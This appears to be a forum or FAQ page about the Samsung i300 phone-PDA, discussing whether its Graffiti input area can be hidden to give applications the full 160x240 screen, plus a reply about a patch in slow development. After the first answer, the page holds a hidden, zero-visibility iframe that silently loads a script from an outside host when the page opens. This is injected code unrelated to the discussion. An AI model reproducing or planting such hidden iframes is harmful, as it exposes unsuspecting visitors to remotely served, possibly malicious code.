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    Can the Graffiti area be hidden to make more screen space available to applications?

    Right now, the phone application supplied with the i300 is the only program known to be able to hide the Graffiti area. The capability clearly exists for applications to use the entire 160x240 screen area, but Samsung has not released information needed by developers to control display of the Graffiti area.

    Applications designed for the larger HandEra (240x320 screen, also with a virtual Graffiti area) are not known to work on the i300.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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    There is a hack in (slow) development

    http://i330.nopdesign.com has a patch for the i330 version which works on the i300 and has an alpha of TealDoc working in 160x240. (Why not create a demo for cSpotRun, I'll never know.)

    However, this phone is dead meat, and development interest seems to be waning.

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